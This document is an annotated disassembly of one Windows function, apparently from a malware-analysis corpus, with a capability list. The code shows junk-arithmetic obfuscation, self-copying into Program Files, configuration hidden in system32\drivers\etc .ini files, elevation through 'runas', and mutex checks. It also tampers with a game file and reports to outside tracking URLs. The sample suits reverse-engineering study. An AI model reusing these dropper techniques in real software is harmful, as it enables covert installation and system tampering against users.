Function at 0x402090
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create process suspended
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44361b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14ac
call fcn.00429680
mov eax, dword [0x457190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], 0
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45581c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.00429647
mov ecx, dword [0x455838]
mov esi, eax
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
add eax, ecx
add esp, 4
sub eax, edx
add eax, 0x28
mov dword [0x45581c], eax
call fcn.00440ba5
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfb8]
call fcn.00401fe0
mov ecx, dword [ebp - 0xfb8]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4021e1
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021f4
sub eax, edx
mov dword [ebp - 0xfac], eax
jne 0x402b42
mov eax, dword [0x455828]
mov ecx, dword [0x45582c]
lea eax, [eax + eax*8]
shl eax, 3
mov edi, eax
mov ebx, dword [0x455830]
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 4
imul eax, eax, 0x36
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455818]
imul edx, edx, 0x35
sub edi, ecx
add edx, ebx
push str.C:WINDOWS_system32driversetc_service3.ini
add edx, edi
push 0x100
lea ecx, [eax + edx - 0x31]
lea edx, [ebp - 0x214]
push edx
push 0x445e15
push str.rand
push str.aaaaa
mov dword [0x455824], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x214]
push eax
call fcn.00429642
add esp, 4
test eax, eax
jle 0x40229e
lea ecx, [ebp - 0x214]
push ecx
call fcn.00429642
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ebx, edx
and edx, 0x80000001
mov dword [ebp - 0xfa8], ebx
jns 0x4022bd
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
mov edi, dword [0x455818]
mov eax, 0x92492493
jne 0x402326
mov ecx, dword [0x455820]
imul ecx
mov eax, dword [0x45582c]
add edx, ecx
imul ecx, ecx, 0x32
imul eax, eax, 0x31
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x45581c]
add esi, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x22
sub esi, ecx
mov ecx, dword [0x455834]
add esi, edx
mov dword [0x45582c], esi
lea esi, [ebx - 1]
inc ebx
jmp 0x40237d
mov edx, dword [0x455834]
mov esi, dword [0x455828]
imul edx
add edx, dword [0x455834]
lea ecx, [esi + edi]
imul ecx, ecx, 0x36
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x4bda12f7
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x51eb851f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov esi, ebx
mov dword [0x455834], ecx
add ebx, 2
mov eax, 0x38e38e39
imul edi, edi, 0x31
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb0], eax
mov eax, 0x5397829d
imul ecx
mov eax, dword [ebp - 0xfb0]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, eax
mov eax, 0x78787879
imul dword [0x455820]
sar edx, 4
mov eax, edx
add ecx, edx
shr eax, 0x1f
lea edx, [eax + ecx]
mov ecx, dword [0x455830]
imul ecx, ecx, 0x32
sub edi, ecx
add edi, edx
mov eax, edi
mov edi, 0x190
cmp ebx, edi
mov dword [ebp - 0xfb4], ebx
jl 0x4023f3
mov ebx, dword [ebp - 0xfa8]
dec ebx
mov dword [ebp - 0xfb4], ebx
imul esi, esi, 0x22
imul eax, eax, 0x31
lea esi, [esi + str.Installing]
sub eax, ecx
push esi
lea ecx, [ebp - 0x114]
add eax, edx
push str.C:Program_Files_s
push ecx
mov dword [0x455818], eax
mov dword [ebp - 0xfac], esi
call fcn.00429011
add esp, 0xc
push 0
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
imul ebx, ebx, 0x22
add ebx, str.Installing
push ebx
push esi
lea eax, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push eax
call fcn.00429011
mov edi, dword [0x455824]
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
imul edx, edx, 0x36
mov ebx, ecx
imul ebx, ebx, 0xffffffcf
sub ebx, eax
add ebx, edx
mov eax, 0x4ec4ec4f
imul ecx
imul ecx, ecx, 0xd
sar edx, 2
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
mov dword [0x455828], eax
mov eax, 0x51eb851f
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x6db6db6d
imul edi
sub edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455830]
imul edx, edx, 0x35
sub eax, ebx
add ecx, esi
add esp, 0x10
add ecx, eax
add edx, ecx
push 0x100
lea eax, [ebp - 0x214]
mov dword [ebp - 0xfb0], 0
mov dword [str._r_____r____], edx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x214]
push 0x8000
push ecx
call fcn.00435ebb
mov esi, dword [0x455838]
mov ecx, dword [0x45581c]
mov ebx, eax
mov eax, 0x4bda12f7
imul esi
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x455830]
mov edx, esi
imul edx, edx, 0xd
mov eax, edi
imul eax, eax, 0x35
sub ecx, edx
add ecx, eax
sub ecx, dword [str._r_____r____]
add ecx, 0x28
add esp, 0xc
cmp ebx, 0xffffffff
mov dword [0x45581c], ecx
je 0x4027e5
mov eax, dword [0x455828]
lea ecx, [eax + eax*8]
shl ecx, 3
mov esi, ecx
mov ecx, dword [0x45582c]
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x35
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x36
add ecx, edi
push 0x100000
add ecx, esi
lea edx, [eax + ecx - 0x31]
push 0x458100
push ebx
mov dword [0x455824], edx
call fcn.00434ad8
mov esi, eax
push ebx
mov dword [ebp - 0xfa8], esi
call fcn.00434c74
add esp, 0x10
cmp esi, 0x2800
jle 0x4027d3
mov ecx, dword [0x455820]
mov eax, 0x92492493
imul ecx
mov eax, dword [0x45582c]
add edx, ecx
imul ecx, ecx, 0x32
imul eax, eax, 0x31
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x45581c]
add esi, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x22
sub esi, ecx
add esi, edx
push 0
mov dword [0x45582c], esi
call fcn.00429647
push eax
push 0x445b00
push 0x458400
call fcn.00429011
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.00435ebb
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x4026c7
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402688
sub eax, edx
lea ecx, [ebp + eax - 0x118]
push str.s.exe
push ecx
call fcn.00429011
push 0x180
lea edx, [ebp - 0x114]
push 0x8302
push edx
call fcn.00435ebb
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x4027d3
mov ecx, dword [0x455828]
mov eax, dword [0x455818]
mov edi, dword [0x455834]
lea ebx, [ecx + eax]
mov eax, 0x92492493
imul ebx, ebx, 0x36
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfa8]
push edx
sub ebx, ecx
push 0x458100
push esi
mov dword [0x455834], ebx
call fcn.00432508
push 2
push 0
push esi
call fcn.0043228f
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
sub ebx, edi
add ebx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x32
shr eax, 0x1f
add eax, ebx
add eax, ecx
sub eax, edx
mov dword [0x455818], eax
mov eax, dword [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0xe14]
push ecx
push esi
call fcn.00432508
push esi
call fcn.00434c74
add esp, 0x28
mov dword [ebp - 0xfb0], 1
mov edi, dword [0x455830]
mov ecx, dword [0x45581c]
mov esi, dword [0x455838]
mov edx, dword [0x455820]
mov eax, 0x66666667
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45582c]
mov ebx, eax
mov eax, 0x6db6db6d
imul edx
sub edx, dword [0x45582c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x455818]
sub edx, ebx
lea eax, [eax + eax*8]
lea edx, [edx + eax*8]
mov eax, dword [str._r_____r____]
imul eax, eax, 0x38
add edx, eax
sub edx, dword [0x455834]
mov eax, dword [ebp - 0xfb0]
sub edx, 0x31
cmp eax, 1
mov dword [0x455820], edx
jne 0x402b33
mov eax, 0x51eb851f
imul esi, esi, 0xd
imul edi, edi, 0x35
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
lea edx, [ebp - 0x114]
push edx
add ecx, esi
lea eax, [ebp - 0x214]
add ecx, edi
push str._s__33201_
push eax
mov dword [str._r_____r____], ecx
call fcn.00429011
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xffc]
rep stosd dword es:[edi], eax
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x455830]
sub eax, ecx
mov ecx, esi
imul ecx, ecx, 0x35
add eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, ecx
add eax, 0x28
mov dword [0x45581c], eax
mov eax, dword [0x455828]
lea edx, [eax + eax*8]
shl edx, 3
mov edi, edx
mov edx, dword [0x45582c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0xc
mov dword [ebp - 0xffc], 0x44
mov dword [ebp - 0xfd0], 1
mov word [ebp - 0xfcc], 5
sub edi, eax
mov edx, dword [0x455818]
imul ecx, ecx, 0x36
imul edx, edx, 0x35
add edx, esi
add edx, edi
lea eax, [ecx + edx - 0x31]
lea ecx, [ebp - 0x100c]
push ecx
lea edx, [ebp - 0xffc]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x455824], eax
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, 0x92492493
je 0x402a02
mov ecx, dword [0x455820]
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x45582c]
imul ecx, ecx, 0x31
add esi, ecx
mov ecx, dword [0x45581c]
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x455830]
sar edx, 4
imul ecx, ecx, 0x22
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0
mov dword [0x45582c], esi
call fcn.0042957a
mov ecx, dword [0x455828]
mov edx, dword [0x455818]
mov esi, dword [0x455834]
lea edi, [ecx + edx]
imul esi
add edx, esi
imul edi, edi, 0x36
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfac]
push edx
lea eax, [ebp - 0x114]
sub edi, ecx
push str.C:Program_Files_s
push eax
mov dword [0x455834], edi
call fcn.00429011
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4035c3
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x455818]
push 0
imul ecx, ecx, 0x31
sar edx, 4
push 0
mov eax, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455830]
push 0
imul edx, edx, 0x32
push 0
shr eax, 0x1f
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
add eax, edi
push 0x45580c
add eax, ecx
push 0
sub eax, edx
push 0
mov dword [0x455818], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0043b6aa
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call esi
jmp 0x402b48
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
jmp 0x402b48
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
sub ebx, edi
add ebx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x32
shr eax, 0x1f
add eax, ebx
add eax, ecx
sub eax, edx
mov dword [0x455818], eax
lea eax, [ebp - 0xfa4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402bc7
push 0
call fcn.0042957a
push 0x3e8
call esi
push 0x413c
lea ecx, [ebp - 0x314]
push 0x445b00
push ecx
call fcn.00429011
add esp, 0xc
lea edx, [ebp - 0x314]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x558100], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402c7a
mov ecx, dword [0x455828]
mov eax, dword [0x455818]
mov esi, dword [0x455834]
lea edi, [ecx + eax]
mov eax, 0x92492493
imul edi, edi, 0x36
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51eb851f
imul ecx
mov eax, dword [0x455808]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
cmp eax, 0xffffffff
mov dword [0x455834], edi
je 0x402c73
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042957a
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
add eax, ecx
sub eax, edx
add eax, 0x28
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45581c], eax
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
jne 0x402cf9
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x402cf9
push 0xea60
call esi
mov ecx, dword [0x455820]
mov eax, 0x66666667
imul ecx
mov ecx, dword [0x45582c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x6db6db6d
imul ecx
mov eax, dword [0x455818]
sub edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [eax + eax*8]
sub ecx, edi
lea eax, [ecx + edx*8]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x455834]
imul ecx, ecx, 0x38
add eax, ecx
sub eax, edx
sub eax, 0x31
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x455820], eax
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x403573
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x403573
mov edi, dword [0x455824]
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
imul edx, edx, 0x36
mov ebx, ecx
imul ebx, ebx, 0xffffffcf
sub ebx, eax
add ebx, edx
mov eax, 0x4ec4ec4f
imul ecx
imul ecx, ecx, 0xd
sar edx, 2
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
mov dword [0x455828], eax
mov eax, 0x51eb851f
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x6db6db6d
imul edi
sub edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455830]
push 0x445d2c
imul edx, edx, 0x35
sub eax, ebx
add ecx, esi
push 0x200
add ecx, eax
lea eax, [ebp - 0xc14]
push eax
push 0x445e15
push str.ConfigL0
add edx, ecx
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x445e15
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403178
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
add eax, ecx
sub eax, edx
add eax, 0x28
lea edx, [ebp - 0xc14]
push edx
mov dword [0x45581c], eax
lea eax, [ebp - 0x14bc]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403178
mov eax, dword [0x455828]
lea ecx, [eax + eax*8]
shl ecx, 3
mov esi, ecx
mov ecx, dword [0x45582c]
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x35
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x455830]
mov edx, dword [str._r_____r____]
imul edx, edx, 0x36
sub esi, eax
add ecx, esi
lea eax, [edx + ecx - 0x31]
mov edx, dword [ebp - 0x14bc]
mov dword [0x455824], eax
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402f30
sub eax, esi
cmp byte [eax + edx - 1], 0x5c
jne 0x402f56
mov ecx, dword [ebp - 0x14b0]
push ecx
push edx
push str._s_s
lea edx, [ebp - 0x614]
push edx
jmp 0x402f6a
mov eax, dword [ebp - 0x14b0]
push eax
push edx
push 0x445d04
lea ecx, [ebp - 0x614]
push ecx
call fcn.00429011
mov ecx, dword [0x455820]
mov eax, 0x92492493
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45582c]
imul edx, edx, 0x31
add esi, ecx
mov ecx, dword [0x45581c]
add esi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x455830]
sar edx, 4
imul ecx, ecx, 0x22
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x10
lea edx, [ebp - 0x614]
push edx
sub esi, eax
lea eax, [ebp - 0x414]
add esi, ecx
push str._s.bak
push eax
mov dword [0x45582c], esi
call fcn.00429011
add esp, 0xc
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x614]
push eax
call edi
mov ecx, dword [0x455828]
mov edx, dword [0x455818]
mov esi, dword [0x455834]
lea ebx, [ecx + edx]
mov eax, 0x92492493
imul ebx, ebx, 0x36
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x614]
sub ebx, ecx
push 0
push edx
mov dword [0x455834], ebx
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x4030e6
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
sub ebx, esi
add ebx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x32
shr eax, 0x1f
add eax, ebx
add eax, ecx
sub eax, edx
mov dword [0x455818], eax
lea eax, [ebp - 0x414]
push eax
call edi
push 0
call fcn.0042957a
mov ecx, dword [0x455820]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45582c]
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
mov ebx, dword [0x455834]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x455818]
lea edx, [eax + eax*8]
sub ecx, esi
lea eax, [ecx + edx*8]
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x38
add eax, ecx
sub eax, ebx
sub eax, 0x31
lea edx, [ebp - 0x614]
mov dword [0x455820], eax
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403162
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
jmp 0x40317e
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x455838]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
mov esi, ecx
imul edx, edx, 0x36
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x455828], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4031e2
sub eax, esi
mov dword [ebp - 0xfac], eax
push 0
jne 0x4031fa
call fcn.0042957a
mov edx, dword [0x455818]
mov esi, dword [0x455834]
lea edi, [ecx + edx]
mov eax, 0x92492493
imul edi, edi, 0x36
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x814]
sub edi, ecx
push edx
mov dword [0x455834], edi
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
jne 0x403373
mov ecx, dword [0x45582c]
mov esi, dword [0x455834]
mov eax, 0x4bda12f7
imul esi, esi, 0x31
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
push 0
push 0
mov eax, 0x78787879
imul ecx
mov eax, dword [ebp + 8]
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
sar edx, 4
push 0x45580c
mov ecx, edx
push 0
shr ecx, 0x1f
push 0
add ecx, edx
mov edx, dword [0x455820]
sub edi, esi
push 1
sub edi, ecx
add eax, 0x74
sub edi, edx
push 0x68
push eax
mov dword [0x455838], edi
call fcn.0043b6aa
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
